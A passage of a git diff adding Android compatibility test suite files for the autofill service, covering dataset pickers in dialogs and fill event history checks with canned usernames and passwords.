+        };
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/dropdown/DatePickerSpinnerActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/dropdown/DatePickerSpinnerActivityTest.java
new file mode 100644
index 0000000..da0aba7
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/dropdown/DatePickerSpinnerActivityTest.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.dropdown;
+
+import android.autofillservice.cts.activities.DatePickerSpinnerActivity;
+import android.autofillservice.cts.commontests.DatePickerTestCase;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.platform.test.annotations.AppModeFull;
+
+@AppModeFull(reason = "Unit test")
+public class DatePickerSpinnerActivityTest extends DatePickerTestCase<DatePickerSpinnerActivity> {
+
+    @Override
+    protected AutofillActivityTestRule<DatePickerSpinnerActivity> getActivityRule() {
+        return new AutofillActivityTestRule<DatePickerSpinnerActivity>(
+                DatePickerSpinnerActivity.class) {
+            @Override
+            protected void afterActivityLaunched() {
+                mActivity = getActivity();
+            }
+        };
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/dropdown/DialogLauncherActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/dropdown/DialogLauncherActivityTest.java
new file mode 100644
index 0000000..cc04c0c
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/dropdown/DialogLauncherActivityTest.java
@@ -0,0 +1,125 @@
+/*
+ * Copyright 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.dropdown;
+
+import static android.autofillservice.cts.activities.SimpleSaveActivity.ID_PASSWORD;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME;
+import static android.autofillservice.cts.testcore.Helper.assertTextIsSanitized;
+
+import android.autofillservice.cts.activities.DialogLauncherActivity;
+import android.autofillservice.cts.commontests.AutoFillServiceTestCase;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.testcore.Helper;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.FillRequest;
+import android.support.test.uiautomator.UiObject2;
+import android.view.View;
+
+import org.junit.Test;
+
+public class DialogLauncherActivityTest
+        extends AutoFillServiceTestCase.AutoActivityLaunch<DialogLauncherActivity> {
+
+    private DialogLauncherActivity mActivity;
+
+    @Override
+    protected AutofillActivityTestRule<DialogLauncherActivity> getActivityRule() {
+        return new AutofillActivityTestRule<DialogLauncherActivity>(DialogLauncherActivity.class) {
+            @Override
+            protected void afterActivityLaunched() {
+                mActivity = getActivity();
+            }
+        };
+    }
+
+    @Test
+    public void testAutofill_noDatasets() throws Exception {
+        autofillNoDatasetsTest(false);
+    }
+
+    @Test
+    public void testAutofill_noDatasets_afterResizing() throws Exception {
+        autofillNoDatasetsTest(true);
+    }
+
+    private void autofillNoDatasetsTest(boolean resize) throws Exception {
+        enableService();
+        mActivity.launchDialog(mUiBot);
+
+        if (resize) {
+            mActivity.maximizeDialog();
+        }
+
+        // Set expectations.
+        sReplier.addResponse(CannedFillResponse.NO_RESPONSE);
+
+        // Trigger autofill.
+        mActivity.onUsername(View::requestFocus);
+        final FillRequest fillRequest = sReplier.getNextFillRequest();
+
+        // Asserts results.
+        try {
+            mUiBot.assertNoDatasetsEver();
+            // Make sure nodes were properly generated.
+            assertTextIsSanitized(fillRequest.structure, ID_USERNAME);
+            assertTextIsSanitized(fillRequest.structure, ID_PASSWORD);
+        } catch (AssertionError e) {
+            Helper.dumpStructure("D'OH!", fillRequest.structure);
+            throw e;
+        }
+    }
+
+    @Test
+    public void testAutofill_oneDataset() throws Exception {
+        autofillOneDatasetTest(false);
+    }
+
+    @Test
+    public void testAutofill_oneDataset_afterResizing() throws Exception {
+        autofillOneDatasetTest(true);
+    }
+
+    private void autofillOneDatasetTest(boolean resize) throws Exception {
+        enableService();
+        mActivity.launchDialog(mUiBot);
+
+        if (resize) {
+            mActivity.maximizeDialog();
+        }
+
+        // Set expectations.
+        mActivity.expectAutofill("dude", "sweet");
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .setPresentation(createPresentation("The Dude"))
+                .build());
+
+        // Trigger autofill.
+        mActivity.onUsername(View::requestFocus);
+        sReplier.getNextFillRequest();
+
+        final UiObject2 picker = mUiBot.assertDatasets("The Dude");
+        if (!Helper.isAutofillWindowFullScreen(mActivity)) {
+            mActivity.assertInDialogBounds(picker.getVisibleBounds());
+        }
+
+        // Asserts results.
+        mUiBot.selectDataset("The Dude");
+        mActivity.assertAutofilled();
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/dropdown/FillEventHistoryTest.java b/tests/autofillservice/src/android/autofillservice/cts/dropdown/FillEventHistoryTest.java
new file mode 100644
index 0000000..850a4e3
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/dropdown/FillEventHistoryTest.java
@@ -0,0 +1,802 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.dropdown;
+
+import static android.autofillservice.cts.activities.LoginActivity.BACKDOOR_USERNAME;
+import static android.autofillservice.cts.activities.LoginActivity.getWelcomeMessage;
+import static android.autofillservice.cts.testcore.Helper.ID_PASSWORD;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME;
+import static android.autofillservice.cts.testcore.Helper.NULL_DATASET_ID;
+import static android.autofillservice.cts.testcore.Helper.assertFillEventForDatasetSelected;
+import static android.autofillservice.cts.testcore.Helper.assertFillEventForDatasetShown;
+import static android.autofillservice.cts.testcore.Helper.assertFillEventForSaveShown;
+import static android.autofillservice.cts.testcore.Helper.findAutofillIdByResourceId;
+import static android.service.autofill.FillEventHistory.Event.TYPE_CONTEXT_COMMITTED;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.autofillservice.cts.commontests.FillEventHistoryCommonTestCase;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.FillRequest;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.Presubmit;
+import android.service.autofill.FillContext;
+import android.service.autofill.FillEventHistory;
+import android.service.autofill.FillEventHistory.Event;
+import android.service.autofill.FillResponse;
+import android.support.test.uiautomator.UiObject2;
+import android.view.View;
+import android.view.autofill.AutofillId;
+
+import com.google.common.collect.ImmutableMap;
+
+import org.junit.Test;
+
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+
+/**
+ * Test that uses {@link LoginActivity} to test {@link FillEventHistory}.
+ */
+@Presubmit
+@AppModeFull(reason = "Service-specific test")
+public class FillEventHistoryTest extends FillEventHistoryCommonTestCase {
+
+    @Test
+    public void testContextCommitted_whenServiceDidntDoAnything() throws Exception {
+        enableService();
+
+        sReplier.addResponse(CannedFillResponse.NO_RESPONSE);
+
+        // Trigger autofill on username
+        mActivity.onUsername(View::requestFocus);
+        sReplier.getNextFillRequest();
+        mUiBot.assertNoDatasetsEver();
+
+        // Trigger save
+        mActivity.onUsername((v) -> v.setText("malkovich"));
+        mActivity.onPassword((v) -> v.setText("malkovich"));
+        final String expectedMessage = getWelcomeMessage("malkovich");
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        // Assert no events where generated
+        InstrumentedAutoFillService.assertNoFillEventHistory();
+    }
+
+    @Test
+    public void textContextCommitted_withoutDatasets() throws Exception {
+        enableService();
+
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                .build());
+
+        // Trigger autofill on username
+        mActivity.onUsername(View::requestFocus);
+        sReplier.getNextFillRequest();
+        mUiBot.assertNoDatasetsEver();
+
+        // Trigger save
+        mActivity.onUsername((v) -> v.setText("malkovich"));
+        mActivity.onPassword((v) -> v.setText("malkovich"));
+        final String expectedMessage = getWelcomeMessage("malkovich");
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+        sReplier.getNextSaveRequest();
+
+        // Assert it
+        final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
+        assertFillEventForSaveShown(events.get(0), NULL_DATASET_ID);
+    }
+
+
+    @Test
+    public void testContextCommitted_idlessDatasets() throws Exception {
+        enableService();
+
+        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+                new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "username1")
+                        .setField(ID_PASSWORD, "password1")
+                        .setPresentation(createPresentation("dataset1"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "username2")
+                        .setField(ID_PASSWORD, "password2")
+                        .setPresentation(createPresentation("dataset2"))
+                        .build())
+                .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
+                .build());
+        mActivity.expectAutoFill("username1", "password1");
+
+        // Trigger autofill on username
+        mActivity.onUsername(View::requestFocus);
+        sReplier.getNextFillRequest();
+
+        final UiObject2 datasetPicker = mUiBot.assertDatasets("dataset1", "dataset2");
+        mUiBot.selectDataset(datasetPicker, "dataset1");
+        mActivity.assertAutoFilled();
+
+        // Verify dataset selection
+        {
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
+            assertFillEventForDatasetShown(events.get(0));
+            assertFillEventForDatasetSelected(events.get(1), NULL_DATASET_ID);
+        }
+
+        // Finish the context by login in
+        mActivity.onUsername((v) -> v.setText("USERNAME"));
+        mActivity.onPassword((v) -> v.setText("USERNAME"));
+
+        final String expectedMessage = getWelcomeMessage("USERNAME");
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        // ...and check again
+        {
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(3);
+            assertFillEventForDatasetShown(events.get(0));
+            assertFillEventForDatasetSelected(events.get(1), NULL_DATASET_ID);
+            assertFillEventForDatasetShown(events.get(2));
+        }
+    }
+
+    @Test
+    public void testContextCommitted_idlessDatasetSelected_datasetWithIdIgnored()
+            throws Exception {
+        enableService();
+
+        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+                new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "username1")
+                        .setField(ID_PASSWORD, "password1")
+                        .setPresentation(createPresentation("dataset1"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setId("id2")
+                        .setField(ID_USERNAME, "username2")
+                        .setField(ID_PASSWORD, "password2")
+                        .setPresentation(createPresentation("dataset2"))
+                        .build())
+                .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
+                .build());
+        mActivity.expectAutoFill("username1", "password1");
+
+        // Trigger autofill on username
+        mActivity.onUsername(View::requestFocus);
+        final FillRequest request = sReplier.getNextFillRequest();
+
+        final UiObject2 datasetPicker = mUiBot.assertDatasets("dataset1", "dataset2");
+        mUiBot.selectDataset(datasetPicker, "dataset1");
+        mActivity.assertAutoFilled();
+
+        // Verify dataset selection
+        {
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
+            assertFillEventForDatasetShown(events.get(0));
+            assertFillEventForDatasetSelected(events.get(1), NULL_DATASET_ID);
+        }
+
+        // Finish the context by login in
+        mActivity.onPassword((v) -> v.setText("username1"));
+
+        final String expectedMessage = getWelcomeMessage("username1");
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        // ...and check again
+        {
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(3);
+            assertFillEventForDatasetShown(events.get(0));
+            assertFillEventForDatasetSelected(events.get(1), NULL_DATASET_ID);
+
+            FillEventHistory.Event event2 = events.get(2);
+            assertThat(event2.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
+            assertThat(event2.getDatasetId()).isNull();
+            assertThat(event2.getClientState()).isNull();
+            assertThat(event2.getSelectedDatasetIds()).isEmpty();
+            assertThat(event2.getIgnoredDatasetIds()).containsExactly("id2");
+            final AutofillId passwordId = findAutofillIdByResourceId(request.contexts.get(0),
+                    ID_PASSWORD);
+            final Map<AutofillId, String> changedFields = event2.getChangedFields();
+            assertThat(changedFields).containsExactly(passwordId, "id2");
+            assertThat(event2.getManuallyEnteredField()).isEmpty();
+        }
+    }
+
+    @Test
+    public void testContextCommitted_idlessDatasetIgnored_datasetWithIdSelected()
+            throws Exception {
+        enableService();
+
+        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+                new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "username1")
+                        .setField(ID_PASSWORD, "password1")
+                        .setPresentation(createPresentation("dataset1"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setId("id2")
+                        .setField(ID_USERNAME, "username2")
+                        .setField(ID_PASSWORD, "password2")
+                        .setPresentation(createPresentation("dataset2"))
+                        .build())
+                .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
+                .build());
+        mActivity.expectAutoFill("username2", "password2");
+
+        // Trigger autofill on username
+        mActivity.onUsername(View::requestFocus);
+        final FillRequest request = sReplier.getNextFillRequest();
+
+        final UiObject2 datasetPicker = mUiBot.assertDatasets("dataset1", "dataset2");
+        mUiBot.selectDataset(datasetPicker, "dataset2");
+        mActivity.assertAutoFilled();
+
+        // Verify dataset selection
+        {
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
+            assertFillEventForDatasetShown(events.get(0));
+            assertFillEventForDatasetSelected(events.get(1), "id2");
+        }
+
+        // Finish the context by login in
+        mActivity.onPassword((v) -> v.setText("username2"));
+
+        final String expectedMessage = getWelcomeMessage("username2");
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        // ...and check again
+        {
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(3);
+            assertFillEventForDatasetShown(events.get(0));
+            assertFillEventForDatasetSelected(events.get(1), "id2");
+
+            final FillEventHistory.Event event2 = events.get(2);
+            assertThat(event2.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
+            assertThat(event2.getDatasetId()).isNull();
+            assertThat(event2.getClientState()).isNull();
+            assertThat(event2.getSelectedDatasetIds()).containsExactly("id2");
+            assertThat(event2.getIgnoredDatasetIds()).isEmpty();
+            final AutofillId passwordId = findAutofillIdByResourceId(request.contexts.get(0),
+                    ID_PASSWORD);
+            final Map<AutofillId, String> changedFields = event2.getChangedFields();
+            assertThat(changedFields).containsExactly(passwordId, "id2");
+            assertThat(event2.getManuallyEnteredField()).isEmpty();
+        }
+    }
+
+    /**
+     * Tests scenario where the context was committed, no dataset was selected by the user,
+     * neither the user entered values that were present in these datasets.
+     */
+    @Test
+    public void testContextCommitted_noDatasetSelected_valuesNotManuallyEntered() throws Exception {
+        enableService();
+
+        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+                new CannedDataset.Builder()
+                        .setId("id1")
+                        .setField(ID_USERNAME, "username1")
+                        .setField(ID_PASSWORD, "password1")
+                        .setPresentation(createPresentation("dataset1"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setId("id2")
+                        .setField(ID_USERNAME, "username2")
+                        .setField(ID_PASSWORD, "password2")
+                        .setPresentation(createPresentation("dataset2"))
+                        .build())
+                .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
+                .build());
+        // Trigger autofill on username
+        mActivity.onUsername(View::requestFocus);
+        sReplier.getNextFillRequest();
+        mUiBot.assertDatasets("dataset1", "dataset2");
+
+        // Verify history
+        {
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
+            assertFillEventForDatasetShown(events.get(0));
+        }
+        // Enter values not present at the datasets
+        mActivity.onUsername((v) -> v.setText("USERNAME"));
+        mActivity.onPassword((v) -> v.setText("USERNAME"));
+
+        // Finish the context by login in
+        final String expectedMessage = getWelcomeMessage("USERNAME");
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        // Verify history again
+        {
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
+            assertFillEventForDatasetShown(events.get(0));
+            final Event event = events.get(1);
+            assertThat(event.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
+            assertThat(event.getDatasetId()).isNull();
+            assertThat(event.getClientState()).isNull();
+            assertThat(event.getIgnoredDatasetIds()).containsExactly("id1", "id2");
+            assertThat(event.getChangedFields()).isEmpty();
+            assertThat(event.getManuallyEnteredField()).isEmpty();
+        }
+    }
+
+    /**
+     * Tests scenario where the context was committed, just one dataset was selected by the user,
+     * and the user changed the values provided by the service.
+     */
+    @Test
+    public void testContextCommitted_oneDatasetSelected() throws Exception {
+        enableService();
+
+        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+                new CannedDataset.Builder()
+                        .setId("id1")
+                        .setField(ID_USERNAME, "username1")
+                        .setField(ID_PASSWORD, "password1")
+                        .setPresentation(createPresentation("dataset1"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setId("id2")
+                        .setField(ID_USERNAME, "username2")
+                        .setField(ID_PASSWORD, "password2")
+                        .setPresentation(createPresentation("dataset2"))
+                        .build())
+                .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
+                .build());
+        mActivity.expectAutoFill("username1", "password1");
+
+        // Trigger autofill on username
+        mActivity.onUsername(View::requestFocus);
+        final FillRequest request = sReplier.getNextFillRequest();
+
+        final UiObject2 datasetPicker = mUiBot.assertDatasets("dataset1", "dataset2");
+        mUiBot.selectDataset(datasetPicker, "dataset1");
+        mActivity.assertAutoFilled();
+
+        // Verify dataset selection
+        {
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
+            assertFillEventForDatasetShown(events.get(0));
+            assertFillEventForDatasetSelected(events.get(1), "id1");
+        }
+
+        // Finish the context by login in
+        mActivity.onUsername((v) -> v.setText("USERNAME"));
+        mActivity.onPassword((v) -> v.setText("USERNAME"));
+
+        final String expectedMessage = getWelcomeMessage("USERNAME");
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        // ...and check again
+        {
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(4);
+            assertFillEventForDatasetShown(events.get(0));
+            assertFillEventForDatasetSelected(events.get(1), "id1");
+
+            assertFillEventForDatasetShown(events.get(2));
+            final FillEventHistory.Event event2 = events.get(3);
+            assertThat(event2.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
+            assertThat(event2.getDatasetId()).isNull();
+            assertThat(event2.getClientState()).isNull();
+            assertThat(event2.getSelectedDatasetIds()).containsExactly("id1");
+            assertThat(event2.getIgnoredDatasetIds()).containsExactly("id2");
+            final Map<AutofillId, String> changedFields = event2.getChangedFields();
+            final FillContext context = request.contexts.get(0);
+            final AutofillId usernameId = findAutofillIdByResourceId(context, ID_USERNAME);
+            final AutofillId passwordId = findAutofillIdByResourceId(context, ID_PASSWORD);
+
+            assertThat(changedFields).containsExactlyEntriesIn(
+                    ImmutableMap.of(usernameId, "id1", passwordId, "id1"));
+            assertThat(event2.getManuallyEnteredField()).isEmpty();
+        }
+    }
+
+    /**
+     * Tests scenario where the context was committed, both datasets were selected by the user,
+     * and the user changed the values provided by the service.
+     */
+    @Test
+    public void testContextCommitted_multipleDatasetsSelected() throws Exception {
+        enableService();
+
+        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+                new CannedDataset.Builder()
+                        .setId("id1")
+                        .setField(ID_USERNAME, "username")
+                        .setPresentation(createPresentation("dataset1"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setId("id2")
+                        .setField(ID_PASSWORD, "password")
+                        .setPresentation(createPresentation("dataset2"))
+                        .build())
+                .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
+                .build());
+        mActivity.expectAutoFill("username");
+
+        // Trigger autofill
+        mActivity.onUsername(View::requestFocus);
+        final FillRequest request = sReplier.getNextFillRequest();
+
+        // Autofill username
+        mUiBot.selectDataset("dataset1");
+        mActivity.assertAutoFilled();
+        {
+            // Verify fill history
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
+            assertFillEventForDatasetShown(events.get(0));
+            assertFillEventForDatasetSelected(events.get(1), "id1");
+        }
+
+        // Autofill password
+        mActivity.expectPasswordAutoFill("password");
+
+        mActivity.onPassword(View::requestFocus);
+        mUiBot.selectDataset("dataset2");
+        mActivity.assertAutoFilled();
+
+        {
+            // Verify fill history
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(4);
+
+            assertFillEventForDatasetShown(events.get(0));
+            assertFillEventForDatasetSelected(events.get(1), "id1");
+            assertFillEventForDatasetShown(events.get(2));
+            assertFillEventForDatasetSelected(events.get(3), "id2");
+        }
+
+        // Finish the context by login in
+        mActivity.onPassword((v) -> v.setText("username"));
+
+        final String expectedMessage = getWelcomeMessage("username");
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        {
+            // Verify fill history
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(6);
+
+            assertFillEventForDatasetShown(events.get(0));
+            assertFillEventForDatasetSelected(events.get(1), "id1");
+            assertFillEventForDatasetShown(events.get(2));
+            assertFillEventForDatasetSelected(events.get(3), "id2");
+
+            assertFillEventForDatasetShown(events.get(4));
+            final FillEventHistory.Event event3 = events.get(5);
+            assertThat(event3.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
+            assertThat(event3.getDatasetId()).isNull();
+            assertThat(event3.getClientState()).isNull();
+            assertThat(event3.getSelectedDatasetIds()).containsExactly("id1", "id2");
+            assertThat(event3.getIgnoredDatasetIds()).isEmpty();
+            final Map<AutofillId, String> changedFields = event3.getChangedFields();
+            final AutofillId passwordId = findAutofillIdByResourceId(request.contexts.get(0),
+                    ID_PASSWORD);
+            assertThat(changedFields).containsExactly(passwordId, "id2");
+            assertThat(event3.getManuallyEnteredField()).isEmpty();
+        }
+    }
+
+    /**
+     * Tests scenario where the context was committed, both datasets were selected by the user,
+     * and the user didn't change the values provided by the service.
+     */
+    @Test
+    public void testContextCommitted_multipleDatasetsSelected_butNotChanged() throws Exception {
+        enableService();
+
+        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+                new CannedDataset.Builder()
+                        .setId("id1")
+                        .setField(ID_USERNAME, BACKDOOR_USERNAME)
+                        .setPresentation(createPresentation("dataset1"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setId("id2")
+                        .setField(ID_PASSWORD, "whatever")
+                        .setPresentation(createPresentation("dataset2"))
+                        .build())
+                .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
+                .build());
+        mActivity.expectAutoFill(BACKDOOR_USERNAME);
+
+        // Trigger autofill
+        mActivity.onUsername(View::requestFocus);
+        sReplier.getNextFillRequest();
+
+        // Autofill username
+        mUiBot.selectDataset("dataset1");
+        mActivity.assertAutoFilled();
+        {
+            // Verify fill history
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
+            assertFillEventForDatasetShown(events.get(0));
+            assertFillEventForDatasetSelected(events.get(1), "id1");
+        }
+
+        // Autofill password
+        mActivity.expectPasswordAutoFill("whatever");
+
+        mActivity.onPassword(View::requestFocus);
+        mUiBot.selectDataset("dataset2");
+        mActivity.assertAutoFilled();
+
+        {
+            // Verify fill history
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(4);
+
+            assertFillEventForDatasetShown(events.get(0));
+            assertFillEventForDatasetSelected(events.get(1), "id1");
+            assertFillEventForDatasetShown(events.get(2));
+            assertFillEventForDatasetSelected(events.get(3), "id2");
+        }
+
+        // Finish the context by login in
+        final String expectedMessage = getWelcomeMessage(BACKDOOR_USERNAME);
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        {
+            // Verify fill history
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(5);
+
+            assertFillEventForDatasetShown(events.get(0));
+            assertFillEventForDatasetSelected(events.get(1), "id1");
+            assertFillEventForDatasetShown(events.get(2));
+            assertFillEventForDatasetSelected(events.get(3), "id2");
+
+            final FillEventHistory.Event event3 = events.get(4);
+            assertThat(event3.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
+            assertThat(event3.getDatasetId()).isNull();
+            assertThat(event3.getClientState()).isNull();
+            assertThat(event3.getSelectedDatasetIds()).containsExactly("id1", "id2");
+            assertThat(event3.getIgnoredDatasetIds()).isEmpty();
+            assertThat(event3.getChangedFields()).isEmpty();
+            assertThat(event3.getManuallyEnteredField()).isEmpty();
+        }
+    }
+
+    /**
+     * Tests scenario where the context was committed, the user selected the dataset, than changed
+     * the autofilled values, but then change the values again so they match what was provided by
+     * the service.
+     */
+    @Test
+    public void testContextCommitted_oneDatasetSelected_Changed_thenChangedBack()
+            throws Exception {
+        enableService();
+
+        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+                new CannedDataset.Builder()
+                        .setId("id1")
+                        .setField(ID_USERNAME, "username")
+                        .setField(ID_PASSWORD, "username")
+                        .setPresentation(createPresentation("dataset1"))
+                        .build())
+                .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
+                .build());
+        mActivity.expectAutoFill("username", "username");
+
+        // Trigger autofill on username
+        mActivity.onUsername(View::requestFocus);
+        sReplier.getNextFillRequest();
+
+        mUiBot.selectDataset("dataset1");
+        mActivity.assertAutoFilled();
+
+        // Verify dataset selection
+        {
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
+            assertFillEventForDatasetShown(events.get(0));
+            assertFillEventForDatasetSelected(events.get(1), "id1");
+        }
+
+        // Change the fields to different values from0 datasets
+        mActivity.onUsername((v) -> v.setText("USERNAME"));
+        mActivity.onPassword((v) -> v.setText("USERNAME"));
+
+        // Then change back to dataset values
+        mActivity.onUsername((v) -> v.setText("username"));
+        mActivity.onPassword((v) -> v.setText("username"));
+
+        final String expectedMessage = getWelcomeMessage("username");
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        // ...and check again
+        {
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(4);
+            assertFillEventForDatasetShown(events.get(0));
+            assertFillEventForDatasetSelected(events.get(1), "id1");
+            assertFillEventForDatasetShown(events.get(2));
+
+            FillEventHistory.Event event4 = events.get(3);
+            assertThat(event4.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
+            assertThat(event4.getDatasetId()).isNull();
+            assertThat(event4.getClientState()).isNull();
+            assertThat(event4.getSelectedDatasetIds()).containsExactly("id1");
+            assertThat(event4.getIgnoredDatasetIds()).isEmpty();
